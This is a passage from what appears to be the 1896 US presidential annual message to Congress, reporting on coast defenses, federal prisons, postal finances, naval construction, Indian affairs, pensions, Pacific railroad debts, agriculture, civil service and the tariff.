number of guns actually completed has been increased to a\ntotal of twenty-one 12-inch, fifty-six 10-inch, sixty-one 8-inch high-power\nbreech-loading steel guns, ten rapid-fire guns, and eighty 12-inch rifled\nmortars. In addition there are in process of construction one 16-inch-type\ngun, fifty 12-inch, fifty-six 10-inch, twenty-seven 8-inch high-power guns,\nand sixty-six 12-inch rifled mortars; in all, four hundred and twenty-eight\nguns and mortars.During the same year, immediately preceding the message referred to, the first\nmodern gun carriage had been completed and eleven more were in process of\nconstruction. All but one were of the nondisappearing type. These, however,\nwere not such as to secure necessary cover for the artillery gunners against\nthe intense fire of modern machine rapid-fire and high-power guns.The inventive genius of ordnance and civilian experts has been taxed in\ndesigning carriages that would obviate this fault, resulting, it is believed,\nin the solution of this difficult problem. Since 1893 the number of gun\ncarriages constructed or building has been raised to a total of 129, of which\n90 are on the disappearing principle, and the number of mortar carriages to\n152, while the 95 emplacements which were provided for prior to that time have\nbeen increased to 280 built and building.This improved situation is largely due to the recent generous response of\nCongress to the recommendations of the War Department.Thus we shall soon have complete about one-fifth of the comprehensive system\nthe first step in which was noted in my message to the Congress of December 4,\n1893.When it is understood that a masonry emplacement not only furnishes a platform\nfor the heavy modern high-power gun, but also in every particular serves the\npurpose and takes the place of the fort of former days, the importance of the\nwork accomplished is better comprehended.In the hope that the work will be prosecuted with no less vigor in the future,\nthe Secretary of War has submitted an estimate by which, if allowed, there\nwill be provided and either built or building by the end of the next fiscal\nyear such additional guns, mortars, gun carriages, and emplacements as will\nrepresent not far from one-third of the total work to be done under the plan\nadopted for our coast defenses, thus affording a prospect that the entire work\nwill be substantially completed within six years. In less time than that,\nhowever, we shall have attained a marked degree of security.The experience and results of the past year demonstrate that with a\ncontinuation of present careful methods the cost of the remaining work will be\nmuch less than the original estimate.We should always keep in mind that of all forms of military preparation coast\ndefense alone is essentially pacific in its nature. While it gives the sense\nof security due to a consciousness of strength, it is neither the purpose nor\nthe effect of such permanent fortifications to involve us in foreign\ncomplications, but rather to guarantee us against them. They are not\ntemptation to war, but security against it. Thus they are thoroughly in accord\nwith all the traditions of our national diplomacy.The Attorney-General presents a detailed and interesting statement of the\nimportant work done under his supervision during the last fiscal year.The ownership and management by the Government of penitentiaries for the\nconfinement of those convicted in United States courts of violations of\nFederal laws, which for many years has been a subject of Executive\nrecommendation, have at last to a slight extent been realized by the\nutilization of the abandoned military prison at Fort Leavenworth as a United\nStates penitentiary.This is certainly a movement in the right direction, but it ought to be at\nonce supplemented by the rebuilding or extensive enlargement of this\nimprovised prison and the construction of at least one more, to be located in\nthe Southern States. The capacity of the Leavenworth penitentiary is so\nlimited that the expense of its maintenance, calculated at a per capita rate\nupon the number of prisoners it can accommodate, does not make as economical\nan exhibit as it would if it were larger and better adapted to prison\npurposes; but I am thoroughly convinced that economy, humanity, and a proper\nsense of responsibility and duty toward those whom we punish for violations of\nFederal law dictate that the Federal Government should have the entire control\nand management of the penitentiaries where convicted violators are confined.It appears that since the transfer of the Fort Leavenworth Military Prison to\nits new uses the work previously done by prisoners confined there, and for\nwhich expensive machinery has been provided, has been discontinued. This work\nconsisted of the manufacture of articles for army use, now done elsewhere. On\nall grounds it is exceedingly desirable that the convicts confined in this\npenitentiary be allowed to resume work of this description.It is most gratifying to note the satisfactory results that have followed the\ninauguration of the new system provided for by the act of May 28, 1896, under\nwhich certain Federal officials are compensated by salaries instead of fees.\nThe new plan was put in operation on the 1st day of July, 1896, and already\nthe great economy it enforces, its prevention of abuses, and its tendency to a\nbetter enforcement of the laws are strikingly apparent. Detailed evidence of\nthe usefulness of this long-delayed but now happily accomplished reform will\nbe found clearly set forth in the Attorney-General's report.Our Post-Office Department is in good condition, and the exhibit made of its\noperations during the fiscal year ended June 30, 1896, if allowance is made\nfor imperfections in the laws applicable to it, is very satisfactory. The\ntotal receipts during the year were $82,499,208.40. The total expenditures\nwere $90,626,296.84, exclusive of the $1,559,898.27 which was earned by the\nPacific Railroad for transportation and credited on their debt to the\nGovernment. There was an increase of receipts over the previous year of\n$5,516,080.21, or 7.1 per cent, and an increase of expenditures of\n$3,836,124.02, or 4.42 per cent. The deficit was $1,679,956.19 less than that\nof the preceding year. The chief expenditures of the postal service are\nregulated by law and are not in the control of the Postmaster-General. All\nthat he can accomplish by the most watchful administration and economy is to\nenforce prompt and thorough collection and accounting for public moneys and\nsuch minor savings in small expenditures and in letting those contracts, for\npost-office supplies and star service, which are not regulated by statute.An effective cooperation between the Auditor's Office and the Post-Office\nDepartment and the making and enforcement of orders by the Department\nrequiring immediate notification to their sureties of all delinquencies on the\npart of postmasters, and compelling such postmasters to make more frequent\ndeposits of postal funds, have resulted in a prompter auditing of their\naccounts and much less default to the Government than heretofore.The year's report shows large extensions of both star-route service and\nrailway mail service, with increased postal facilities. Much higher accuracy\nin handling mails has also been reached, as appears by the decrease of errors\nin the railway mail service and the reduction of mail matter returned to the\nDead-Letter Office.The deficit for the last year, although much less than that of the last and\npreceding years, emphasizes the necessity for legislation to correct the\ngrowing abuse of second-class rates, to which the deficiency is mainly\nattributable. The transmission at the rate of 1 cent a pound of serial\nlibraries, advertising sheets,\" house organs\" (periodicals advertising some\nparticular \"house\" or institution), sample copies, and the like ought\ncertainly to be discontinued. A glance at the revenues received for the work\ndone last year will show more plainly than any other statement the gross abuse\nof the postal service and the growing waste of its earnings.The free matter carried in the mails for the Departments, offices, etc., of\nthe Government and for Congress, in pounds, amounted to 94,480,189.If this is offset against buildings for post-offices and stations, the rental\nof which would more than compensate for such free postal service, we have this\nexhibit:Weight of mail matter (other than above) transmitted through the mails for the\nyear ending June 30, 1896. ClassWeightRevenuePounds1. Domestic and foreign letters and postal cards, etc \t65,337,343\n\t$60,624,464 2. Newspapers and periodicals, 1 cent per pound\n\t348,988,648 \t2,996,403 3. Books, seeds, etc., 8 cents a pound\n\t78,701,148 \t10,324,069 4. Parcels, etc., 16 cents a pound\n\t19,950,187 \t3,129,321Total \t512,977,326 \t77,044,257The remainder of our postal revenue, amounting to something more than\n$5,000,000, was derived from box rents, registry fees, money-order business,\nand other similar items.The entire expenditures of the Department, including pay for transportation\ncredited to the Pacific railroads, were $92,186,195.11, which may be\nconsidered as the cost of receiving, carrying, and delivering the above mail\nmatter. It thus appears that though the second-class matter constituted more\nthan two-thirds of the total that was carried, the revenue derived from it was\nless than one-thirtieth of the total expense. The average revenue was--From each pound of first-class matter .........cents \t93.0 From each pound\nof second class ...............mills \t8.5 From each pound of third class\n...................cents \t13.1 From each pound of fourth class\n..................do \t15.6 Of the second class 52,348,297 was county-free\nmatter.The growth in weight of second-class matter has been from 299,000,000 pounds\nin 1894 to 312,000,000 in 1895 and to almost 349,000,000 in 1896, and it is\nquite evident this increasing drawback is far outstripping any possible growth\nof postal revenues.Our mail service should of course be such as to meet the wants and even the\nconveniences of our people at a direct charge upon them so light as perhaps to\nexclude the idea of our Post-Office Department being a money-making concern;\nbut in the face of a constantly recurring deficiency in its revenues and in\nview of the fact that we supply the best mail service in the world it seems to\nme it is quite time to correct the abuses that swell enormously our annual\ndeficit. If we concede the public policy of carrying weekly newspapers free in\nthe county of publication, and even the policy of carrying at less than\none-tenth of their cost other bona fide newspapers and periodicals, there can\nbe no excuse for subjecting the service to the further immense and increasing\nloss involved in carrying at the nominal rate of 1 cent a pound the serial\nlibraries, sometimes including trashy and even harmful literature, and other\nmatter which under the loose interpretation of a loose statute have been\ngradually given second-class rates, thus absorbing all profitable returns\nderived from first-class matter, which pays three or four times more than its\ncost, and producing a large annual loss to be paid by general taxation. If\nsuch second-class matter paid merely the cost of its handling, our deficit\nwould disappear and a surplus result which might be used to give the people\nstill better mail facilities or cheaper rates of letter postage. I recommend\nthat legislation be at once enacted to correct these abuses and introduce\nbetter business ideas in the regulation of our postal rates.Experience and observation have demonstrated that certain improvements in the\norganization of the Post-Office Department must be secured before we can gain\nthe full benefit of the immense sums expended in its administration. This\ninvolves the following reforms, which I earnestly recommend:There should be a small addition to the existing inspector service, to be\nemployed in the supervision of the carrier force, which now numbers 13,000 men\nand performs its service practically without the surveillance exercised over\nall other branches of the postal or public service. Of course such a lack of\nsupervision and freedom from wholesome disciplinary restraints must inevitably\nlead to imperfect service. There should also be appointed a few inspectors who\ncould assist the central office in necessary investigation concerning matters\nof post-office leases, post-office sites, allowances for rent, fuel, and\nlights, and in organizing and securing the best results from the work of the\n14,000 clerks now employed in first and second class offices.I am convinced that the small expense attending the inauguration of these\nreforms would actually be a profitable investment.I especially recommend such a recasting of the appropriations by Congress for\nthe Post-Office Department as will permit the Postmaster-General to proceed\nwith the work of consolidating post-offices. This work has already been\nentered upon sufficiently to fully demonstrate by experiment and experience\nthat such consolidation is productive of better service, larger revenues, and\nless expenditures, to say nothing of the further advantage of gradually\nwithdrawing post-offices from the spoils system.The Universal Postal Union, which now embraces all the civilized world and\nwhose delegates will represent 1,000,000,000 people, will hold its fifth\ncongress in the city of Washington in May, 1897. The United States may be said\nto have taken the initiative which led to the first meeting of this congress,\nat Berne in 1874, and the formation of the Universal Postal Union, which\nbrings the postal service of all countries to every man's neighborhood and has\nwrought marvels in cheapening postal rates and securing absolutely safe mail\ncommunication throughout the world. Previous congresses have met in Berne,\nParis, Lisbon, and Vienna, and the respective countries in which they have\nassembled have made generous provision for their accommodation and for the\nreception and entertainment of the delegates.In view of the importance of this assemblage and of its deliberations and of\nthe honors and hospitalities accorded to our representatives by other\ncountries on similar occasions, I earnestly hope that such an appropriation\nwill be made for the expenses necessarily attendant upon the coming meeting in\nour capital city as will be worthy of our national hospitality and indicative\nof our appreciation of the event.The work of the Navy Department and its present condition are fully exhibited\nin the report of the Secretary.The construction of vessels for our new Navy has been energetically prosecuted\nby the present Administration upon the general lines previously adopted, the\nDepartment having seen no necessity for radical changes in prior methods,\nunder which the work was found to be progressing in a manner highly\nsatisfactory. It has been decided, however, to provide in every shipbuilding\ncontract that the builder should pay all trial expenses, and it has also been\ndetermined to pay no speed premiums in future contracts. The premiums recently\nearned and some yet to be decided are features of the contracts made before\nthis conclusion was reached.On March 4, 1893, there were in commission but two armored vessels--the\ndouble-turreted monitors Miantonomoh and Monterey. Since that date, of vessels\ntheretofore authorized, there have been placed in their first commission 3\nfirst-class and 2 second-class battle ships, 2 armored cruisers, 1\nharbor-defense ram, and 5 double-turreted monitors, including the Maine and\nthe Puritan, just completed. Eight new unarmored cruisers and 2 new gunboats\nhave also been commissioned. The Iowa, another battle ship, will be completed\nabout March 1, and at least 4 more gunboats will be ready for sea in the early\nspring.It is gratifying to state that our ships and their outfits are believed to be\nequal to the best that can be manufactured elsewhere, and that such notable\nreductions have been made in their cost as to justify the statement that quite\na number of vessels are now being constructed at rates as low as those that\nprevail in European shipyards.Our manufacturing facilities are at this time ample for all possible naval\ncontingencies. Three of our Government navy-yards--those at Mare Island, Cal.,\nNorfolk, Va., and Brooklyn, N. Y.--are equipped for shipbuilding, our ordnance\nplant in Washington is equal to any in the world, and at the torpedo station\nwe are successfully making the highest grades of smokeless powder. The\nfirst-class private shipyards at Newport News, Philadelphia, and San Francisco\nare building battle ships; eleven contractors, situated in the States of\nMaine, Rhode Island, Pennsylvania, New Jersey, Maryland, Virginia, and the\nState of Washington, are constructing gunboats or torpedo boats; two plants\nare manufacturing large quantities of first-class armor, and American\nfactories are producing automobile torpedoes, powder, projectiles, rapid-fire\nguns, and everything else necessary for the complete outfit of naval vessels.There have been authorized by Congress since March, 1893, 5 battle ships, 6\nlight-draft gunboats, 16 torpedo boats, and 1 submarine torpedo boat.\nContracts for the building of all of them have been let. The Secretary\nexpresses the opinion that we have for the present a sufficient supply of\ncruisers and gunboats, and that hereafter the construction of battle ships and\ntorpedo boats will supply our needs.Much attention has been given to the methods of carrying on departmental\nbusiness. Important modifications in the regulations have been made, tending\nto unify the control of shipbuilding as far as may be under the Bureau of\nConstruction and Repair, and also to improve the mode of purchasing supplies\nfor the Navy by the Bureau of Supplies and Accounts. The establishment under\nrecent acts of Congress of a supply fund with which to purchase these supplies\nin large quantities and other modifications of methods have tended materially\nto their cheapening and better quality.The War College has developed into an institution which it is believed will be\nof great value to the Navy in teaching the science of war, as well as in\nstimulating professional zeal in the Navy, and it will be especially useful in\nthe devising of plans for the utilization in case of necessity of all the\nnaval resources of the United States.The Secretary has persistently adhered to the plan he found in operation for\nsecuring labor at navy-yards through boards of labor employment, and has done\nmuch to make it more complete and efficient. The naval officers who are\nfamiliar with this system and its operation express the decided opinion that\nits results have been to vastly improve the character of the work done at our\nyards and greatly reduce its cost.Discipline among the officers and men of the Navy has been maintained to a\nhigh standard and the percentage of American citizens enlisted has been very\nmuch increased.The Secretary is considering and will formulate during the coming winter a\nplan for laying up ships in reserve, thereby largely reducing the cost of\nmaintaining our vessels afloat. This plan contemplates that battle ships,\ntorpedo boats, and such of the cruisers as are not needed for active service\nat sea shall be kept in reserve with skeleton crews on board to keep them in\ncondition, cruising only enough to insure the efficiency of the ships and\ntheir crews in time of activity.The economy to result from this system is too obvious to need comment.The Naval Militia, which was authorized a few years ago as an experiment, has\nnow developed into a body of enterprising young men, active and energetic in\nthe discharge of their duties and promising great usefulness. This\nestablishment has nearly the same relation to our Navy as the National Guard\nin the different States bears to our Army, and it constitutes a source of\nsupply for our naval forces the importance of which is immediately apparent.The report of the Secretary of the Interior presents a comprehensive and\ninteresting exhibit of the numerous and important affairs committed to his\nsupervision. It is impossible in this communication to do more than briefly\nrefer to a few of the subjects concerning which the Secretary gives full and\ninstructive information.The money appropriated on account of this Department and for its disbursement\nfor the fiscal year ended June 30, 1896, amounted to more than $157,000,000,\nor a greater sum than was appropriated for the entire maintenance of the\nGovernment for the two fiscal years ended June 30, 1861.Our public lands, originally amounting to 1,840,000,000 acres, have been so\nreduced that only about 600,000,000 acres still remain in Government control,\nexcluding Alaska. The balance, being by far the most valuable portion, has\nbeen given away to settlers, to new States, and to railroads or sold at a\ncomparatively nominal sum. The patenting of land in execution of railroad\ngrants has progressed rapidly during the year, and since the 4th day of March,\n1893, about 25,000,000 acres have thus been conveyed to these corporations.I agree with the Secretary that the remainder of our public lands should be\nmore carefully dealt with and their alienation guarded by better economy and\ngreater prudence.The commission appointed from the membership of the National Academy of\nSciences, provided for by an act of Congress, to formulate plans for a\nnational forestry system will, it is hoped, soon be prepared to present the\nresult of thorough and intelligent examination of this important subject.The total Indian population of the United States is 177,235, according to a\ncensus made in 1895, exclusive of those within the State of New York and those\ncomprising the Five Civilized Tribes. Of this number there are approximately\n38,000 children of school age. During the year 23,393 of these were enrolled\nin schools. The progress which has attended recent efforts to extend\nIndian-school facilities and the anticipation of continued liberal\nappropriations to that end can not fail to afford the utmost satisfaction to\nthose who believe that the education of Indian children is a prime factor in\nthe accomplishment of Indian civilization.It may be said in general terms that in every particular the improvement of\nthe Indians under Government care has been most marked and encouraging.The Secretary, the Commissioner of Indian Affairs, and the agents having\ncharge of Indians to whom allotments have been made strongly urge the passage\nof a law prohibiting the sale of liquor to allottees who have taken their\nlands in severalty. I earnestly join in this recommendation and venture to\nexpress the hope that the Indian may be speedily protected against this\ngreatest of all obstacles to his well-being and advancement.The condition of affairs among the Five Civilized Tribes, who occupy large\ntracts of land in the Indian Territory and who have governments of their own,\nhas assumed such an aspect as to render it almost indispensable that there\nshould be an entire change in the relations of these Indians to the General\nGovernment. This seems to be necessary in furtherance of their own interests,\nas well as for the protection of non-Indian residents in their territory. A\ncommission organized and empowered under several recent laws is now\nnegotiating with these Indians for the relinquishment of their courts and the\ndivision of their common lands in severalty and are aiding in the settlement\nof the troublesome question of tribal membership. The reception of their first\nproffers of negotiation was not encouraging, but through patience and such\nconduct on their part as demonstrated that their intentions were friendly and\nin the interest of the tribes the prospect of success has become more\npromising. The effort should be to save these Indians from the consequences of\ntheir own mistakes and improvidence and to secure to the real Indian his\nrights as against intruders and professed friends who profit by his\nretrogression. A change is also needed to protect life and property through\nthe operation of courts conducted according to strict justice and strong\nenough to enforce their mandates.As a sincere friend of the Indian, I am exceedingly anxious that these reforms\nshould be accomplished with the consent and aid of the tribes and that no\nnecessity may be presented for radical or drastic legislation I hope,\ntherefore, that the commission now conducting negotiations will soon be able\nto report that progress has been made toward a friendly adjustment of existing\ndifficulties.It appears that a very valuable deposit of gilsonite or asphaltum has been\nfound on the reservation in Utah occupied by the Uncompahgre Ute Indians.\nEvery consideration of care for the public interest and every sensible\nbusiness reason dictate such management or disposal of this important source\nof public revenue as will except it from the general rules and incidents\nattending the ordinary disposition of public lands and secure to the\nGovernment a fair share at least of its advantages in place of its transfer\nfor a nominal sum to interested individuals.I indorse the recommendation made by the present Secretary of the Interior, as\nwell as his predecessor, that a permanent commission, consisting of three\nmembers, one of whom shall be an army officer, be created to perform the\nduties now devolving upon the Commissioner and Assistant Commissioner of\nIndian Affairs. The management of the Bureau involves such numerous and\ndiverse details and the advantages of an uninterrupted policy are so apparent\nthat I hope the change suggested will meet the approval of the Congress.The diminution of our enormous pension roll and the decrease of pension\nexpenditure, which have been so often confidently for told, still fail in\nmaterial realization. The number of pensioners on the polls at the close of\nthe fiscal year ended June 30, 1896, was 970,678. This is the largest number\never reported. The amount paid exclusively for pensions during the year was\n$138,214,761.94, a slight decrease from that of the preceding year, while the\ntotal expenditures on account of pensions, including the cost of maintaining\nthe Department and expenses attending pension distribution, amounted to\n$142,206,550.59, or within every small fraction of one-third of the entire\nexpense of supporting the Government during the same year. The number of new\npension certificates issued was 90,640. Of these, 40,374 represent original\nallowances of claims and 15,878 increases of existing pensions.The number of persons receiving pensions from the United States, but residing\nin foreign countries, at the close of the last fiscal year was 3,781, and the\namount paid to them during the year was $582,735.38.The sum appropriated for the payment of pensions for the current fiscal year,\nending June 30, 1897, is $140,000,000, and for the succeeding year it is\nestimated that the same amount will be necessary.The Commissioner of Pensions reports that during the last fiscal year 339\nindictments were found against violators of the pension laws. Upon these\nindictments 167 convictions resulted.In my opinion, based upon such statements as these and much other information\nand observation, the abuses which have been allowed to creep into our pension\nsystem have done incalculable harm in demoralizing our people and undermining\ngood citizenship. I have endeavored within my sphere of official duty to\nprotect our pension roll and make it what it should be, a roll of honor,\ncontaining the names of those disabled in their country's service and worthy\nof their country's affectionate remembrance. When I have seen those who pose\nas the soldiers' friends active and alert in urging greater laxity and more\nreckless pension expenditure, while nursing selfish schemes, I have deprecated\nthe approach of a situation when necessary retrenchment and enforced economy\nmay lead to an attack upon pension abuses so determined as to overlook the\ndiscrimination due to those who, worthy of a nation's care, ought to live and\ndie under the protection of a nation's gratitude.The Secretary calls attention to the public interests involved in an\nadjustment of the obligations of the Pacific railroads to the Government. I\ndeem it to be an important duty to especially present this subject to the\nconsideration of the Congress.On January 1, 1897, with the amount already matured, more than $13,000,000 of\nthe principal of the subsidy bonds issued by the United States in aid of the\nconstruction of the Union Pacific Railway, including its Kansas line, and more\nthan $6,000,000 of like bonds issued in aid of the Central Pacific Railroad,\nincluding those issued to the Western Pacific Railroad Company, will have\nfallen due and been paid or must on that day be paid by the Government.\nWithout any reference to the application of the sinking fund now in the\nTreasury, this will create such a default on the part of these companies to\nthe Government as will give it the right to at once institute proceedings to\nforeclose its mortgage lien. In addition to this indebtedness, which will be\ndue January 1, 1897, there will mature between that date and January 1, 1899,\nthe remaining principal of such subsidy bonds, which must also be met by the\nGovernment. These amount to more than $20,000,000 on account of the Union\nPacific lines and exceed $21,000,000 on account of the Central Pacific lines.The situation of these roads and the condition of their indebtedness to the\nGovernment have been fully set forth in the reports of various committees to\nthe present and prior Congresses, and as early as 1887 they were thoroughly\nexamined by a special commission appointed pursuant to an act of Congress. The\nconsiderations requiring an adjustment of the Government's relations to the\ncompanies have been clearly presented and the conclusion reached with\npractical uniformity that if these relations are not terminated they should be\nrevised upon a basis securing their safe continuance.Under section 4 of the act of Congress passed March 3, 1887, the President is\ncharged with the duty, in the event that any mortgage or other incumbrance\nparamount to the interest of the United States in the property of the Pacific\nrailroads should exist and be lawfully liable to be enforced, to direct the\naction of the Departments of Treasury and of justice in the protection of the\ninterest of the United States by redemption or through judicial proceedings,\nincluding foreclosures of the Government liens.In view of the fact that the Congress has for a number of years almost\nconstantly had under consideration various plans for dealing with the\nconditions existing between these roads and the Government, I have thus far\nfelt justified in withholding action under the statute above mentioned.In the case of the Union Pacific Company, however, the situation has become\nespecially and immediately urgent. Proceedings have been instituted to\nforeclose a first mortgage upon those aided parts of the main lines upon which\nthe Government holds a second and subordinate mortgage lien. In consequence of\nthose proceedings and increasing complications, added to the default occurring\non the 1st day of January, 1897, a condition will be presented at that date,\nso far as this company is concerned, that must emphasize the mandate of the\nact of 1887 and give to Executive duty under its provisions a more imperative\naspect. Therefore, unless Congress shall otherwise direct or shall have\npreviously determined upon a different solution of the problem, there will\nhardly appear to exist any reason for delaying beyond the date of the default\nabove mentioned such Executive action as will promise to subserve the public\ninterests and save the Government from the loss threatened by further\ninaction.The Department of Agriculture is so intimately related to the welfare of our\npeople and the prosperity of our nation that it should constantly receive the\ncare and encouragement of the Government. From small beginnings it has grown\nto be the center of agricultural intelligence and the source of aid and\nencouragement to agricultural efforts. Large sums of money are annually\nappropriated for the maintenance of this Department, and it must be confessed\nthat the legislation relating to it has not always been directly in the\ninterest of practical farming or properly guarded against waste and\nextravagance. So far, however, as public money has been appropriated fairly\nand sensibly to help those who actually till the soil, no expenditure has been\nmore profitably made or more generally approved by the people.Under the present management of the Department its usefulness has been\nenhanced in every direction, and at the same time strict economy has been\nenforced to the utmost extent permitted by Congressional action. From the\nreport of the Secretary it appears that through careful and prudent financial\nmanagement he has annually saved a large sum from his appropriations,\naggregating during his incumbency and up to the close of the present fiscal\nyear nearly one-fifth of the entire amount appropriated. These results have\nbeen accomplished by a conscientious study of the real needs of the farmer and\nsuch a regard for economy as the genuine farmer ought to appreciate,\nsupplemented by a rigid adherence to civil-service methods in a Department\nwhich should be conducted in the interest of agriculture instead of partisan\npolitics.The Secretary reports that the value of our exports of farm products during\nthe last fiscal year amounted to $570,000,000, an increase of $17,000,000 over\nthose of the year immediately preceding. This statement is not the less\nwelcome because of the fact that, notwithstanding such increase, the\nproportion of exported agricultural products to our total exports of all\ndescriptions fell off during the year. The benefits of an increase in\nagricultural exports being assured, the decrease in its proportion to our\ntotal exports is the more gratifying when we consider that it is owing to the\nfact that such total exports for the year increased more than $75,000,000.The large and increasing exportation of our agricultural products suggests the\ngreat usefulness of the organization lately established in the Department for\nthe purpose of giving to those engaged in farming pursuits reliable\ninformation concerning the condition, needs, and advantages of different\nforeign markets. Inasmuch as the success of the farmer depends upon the\nadvantageous sale of his products, and inasmuch as foreign markets must\nlargely be the destination of such products, it is quite apparent that a\nknowledge of the conditions and wants that affect those markets ought to\nresult in sowing more intelligently and reaping with a better promise of\nprofit. Such information points out the way to a prudent foresight in the\nselection and cultivation of crops and to a release from the bondage of\nunreasoning monotony of production, a glutted and depressed market, and\nconstantly recurring unprofitable toil.In my opinion the gratuitous distribution of seeds by the Department as at\npresent conducted ought to be discontinued. No one can read the statement of\nthe Secretary on this subject and doubt the extravagance and questionable\nresults of this practice. The professed friends of the farmer, and certainly\nthe farmers themselves, are naturally expected to be willing to rid a\nDepartment devoted to the promotion of farming interests of a feature which\ntends so much to its discredit.The Weather Bureau, now attached to the Department of Agriculture, has\ncontinued to extend its sphere of usefulness, and by an uninterrupted\nimprovement in the accuracy of its forecasts has greatly increased its\nefficiency as an aid and protection to all whose occupations are related to\nweather conditions.Omitting further reference to the operations of the Department, I commend the\nSecretary's report and the suggestions it contains to the careful\nconsideration of the Congress.The progress made in civil-service reform furnishes a cause for the utmost\ncongratulation. It has survived the doubts of its friends as well as the\nrancor of its enemies and has gained a permanent place among the agencies\ndestined to cleanse our politics and to improve, economize, and elevate the\npublic service.There are now in the competitive classified service upward of 84,000 places,\nmore than half of these having been included from time to time since March 4,\n1893. A most radical and sweeping extension was made by Executive order dated\nthe 6th day of May, 1896, and if fourth-class postmasterships are not included\nin the statement it may be said that practically all positions contemplated by\nthe civil-service law are now classified. Abundant reasons exist for including\nthese postmaster-ships, based upon economy, improved service, and the peace\nand quiet of neighborhoods. If, however, obstacles prevent such action at\npresent, I earnestly hope that Congress will, without increasing post-office\nappropriations, so adjust them as to permit in proper eases a consolidation of\nthese post-offices, to the end that through this process the result desired\nmay to a limited extent be accomplished.The civil-service rules as amended during the last year provide for a sensible\nand uniform method of promotion, basing eligibility to better positions upon\ndemonstrated efficiency and faithfulness. The absence of fixed rules on this\nsubject has been an infirmity in the system more and more apparent as its\nother benefits have been better appreciated.The advantages of civil-service methods in their business aspects are too well\nunderstood to require argument. Their application has become a necessity to\nthe executive work of the Government. But those who gain positions through the\noperation of these methods should be made to understand that the nonpartisan\nscheme through which they receive their appointments demands from them by way\nof reciprocity nonpartisan and faithful performance of duty under every\nAdministration and cheerful fidelity to every chief. While they should be\nencouraged to decently exercise their rights of citizenship and to support\nthrough their suffrages the political beliefs they honestly profess, the\nnoisy, pestilent, and partisan employee, who loves political turmoil and\ncontention or who renders lax and grudging service to an Administration not\nrepresenting his political views, should be promptly and fearlessly dealt with\nin such a way as to furnish a warning to others who may be likewise disposed.The annual report of the Commissioners will be duly transmitted, and I commend\nthe important matter they have in charge to the careful consideration of the\nCongress.The Interstate Commerce Commission has during the last year supplied abundant\nevidence of its usefulness and the importance of the work committed to its\ncharge.Public transportation is a universal necessity, and the question of just and\nreasonable charges therefor has become of vital importance not only to\nshippers and carriers, but also to the vast multitude of producers and\nconsumers. The justice and equity of the principles embodied in the existing\nlaw passed for the purpose of regulating these charges are everywhere\nconceded, and there appears to be no question that the policy thus entered\nupon has a permanent place in our legislation.As the present statute when enacted was in the nature of the case more or less\ntentative and experimental, it was hardly expected to supply a complete and\nadequate system. While its wholesome effects are manifest and have amply\njustified its enactment, it is evident that all desired reforms in\ntransportation methods have not been fully accomplished. In view of the\njudicial interpretation which some provisions of this statute have received\nand the defects disclosed by the efforts made for its enforcement, its\nrevision and amendment appear to be essential, to the end that it may more\neffectually reach the evils designed to be corrected. I hope the\nrecommendations of the Commission upon this subject will be promptly and\nfavorably considered by the Congress.I desire to recur to the statements elsewhere made concerning the Government's\nreceipts and expenditures for the purpose of venturing upon some suggestions\ntouching our present tariff law and its operation.This statute took effect on the 28th day of August, 1894. Whatever may be its\nshortcomings as a complete measure of tariff reform, it must be conceded that\nit has opened the way to a freer and greater exchange of commodities between\nus and other countries, and thus furnished a wider market for our products and\nmanufactures.The only entire fiscal year during which this law has been in force ended on\nthe 30th day of June, 1896. In that year our imports increased over those of\nthe previous year more than $6,500,000, while the value of the domestic\nproducts we exported and which found markets abroad was nearly $70,000,000\nmore than during the preceding year.Those who insist that the cost to our people of articles coming to them from\nabroad for their needful use should only be increased through tariff charges\nto an extent necessary to meet the expenses of the Government, as well as\nthose who claim that tariff charges may be laid upon such articles beyond the\nnecessities of Government revenue and with the additional purpose of so\nincreasing their price in our markets as to give American manufacturers and\nproducers better and more profitable opportunities, must agree that our tariff\nlaws are only primarily justified as sources of revenue to enable the\nGovernment to meet the necessary expenses of its maintenance. Considered as to\nits efficiency in this aspect, the present law can by no means fall under just\ncondemnation. During the only complete fiscal year of its operation it has\nyielded nearly $8,000,000 more revenue than was received from tariff duties in\nthe preceding year. There was, nevertheless, a deficit between our receipts\nand expenditures of a little more than $25,000,000 This, however, was not\nunexpected.The situation was such in December last, seven months before the close of the\nfiscal year, that the Secretary of the Treasury foretold a deficiency of\n$17,000,000. The great and increasing apprehension and timidity in business\ncircles and the depression in all activities intervening since that time,\nresulting from causes perfectly well understood and entirely disconnected with\nour tariff law or its operation, seriously checked the imports we would have\notherwise received and readily account for the difference between this\nestimate of the Secretary and the actual deficiency, as well as for a\ncontinued deficit. Indeed, it must be confessed that we could hardly have had\na more unfavorable period than the last two years for the collection of tariff\nrevenue. We can not reasonably hope that our recuperation from this business\ndepression will be sudden, but it has already set in with a promise of\nacceleration and continuance.I believe our present tariff law, if allowed a fair opportunity, will in the\nnear future yield a revenue which, with reasonably economical expenditures,\nwill overcome all deficiencies. In the meantime no deficit that has occurred\nor may occur need excite or disturb us. To meet any such deficit we have in\nthe Treasury in addition to a gold reserve of one hundred millions a surplus\nof more than $128,000,000 applicable to the payment of the expenses of the\nGovernment, and which must, unless expended for that purpose, remain a useless\nhoard, or, if not extravagantly wasted, must in any event be perverted from\nthe purpose of its exaction from our people. The payment, therefore, of any\ndeficiency in the revenue from this fund is nothing more than its proper and\nlegitimate use. The Government thus applying a surplus fortunately in its\nTreasury to the payment of expenses not met by its current revenues is not at\nall to be likened to a man living beyond his income and thus incurring debt or\nencroaching on his principal.It is not one of the functions of our Government to accumulate and make\nadditions to a fund not needed for immediate expenditure. With individuals it\nis the chief object of struggle and effort. The application of an accumulated\nfund by the Government to the payment of its running expenses is a duty. An\nindividual living beyond his income and embarrassing himself with debt or\ndrawing upon his accumulated fund of principal is either unfortunate or\nimprovident. The distinction is between a government charged with the duty of\nexpending for the benefit of the people and for proper purposes all the money\nit receives from any source, and the individual, who is expected to manifest a\nnatural desire to avoid debt or to accumulate as much as possible and to live\nwithin the income derived from such accumulations, to the end that they may be\nincreased or at least remain unimpaired for the future use and enjoyment of\nhimself or the objects of his love and affection who may survive him.It is immeasurably better to appropriate our surplus to the payment of\njustifiable expenses than to allow it to become an invitation to reckless\nappropriations and extravagant expenditures.I suppose it will not be denied that under the present law our people obtain\nthe necessaries of a comfortable existence at a cheaper rate than formerly.\nThis is a matter of supreme importance, since it is the palpable duty of every\njust government to make the burdens of taxation as light as possible. The\npeople should not be required to relinquish this privilege of cheaper living\nexcept under the stress of their Government's necessity made plainly manifest.This reference to the condition and prospects of our revenues naturally\nsuggests an allusion to the weakness and vices of our financial methods. They\nhave been frequently pressed upon the attention of Congress in previous\nExecutive communications and the inevitable danger of their continued\ntoleration pointed out. Without now repeating these 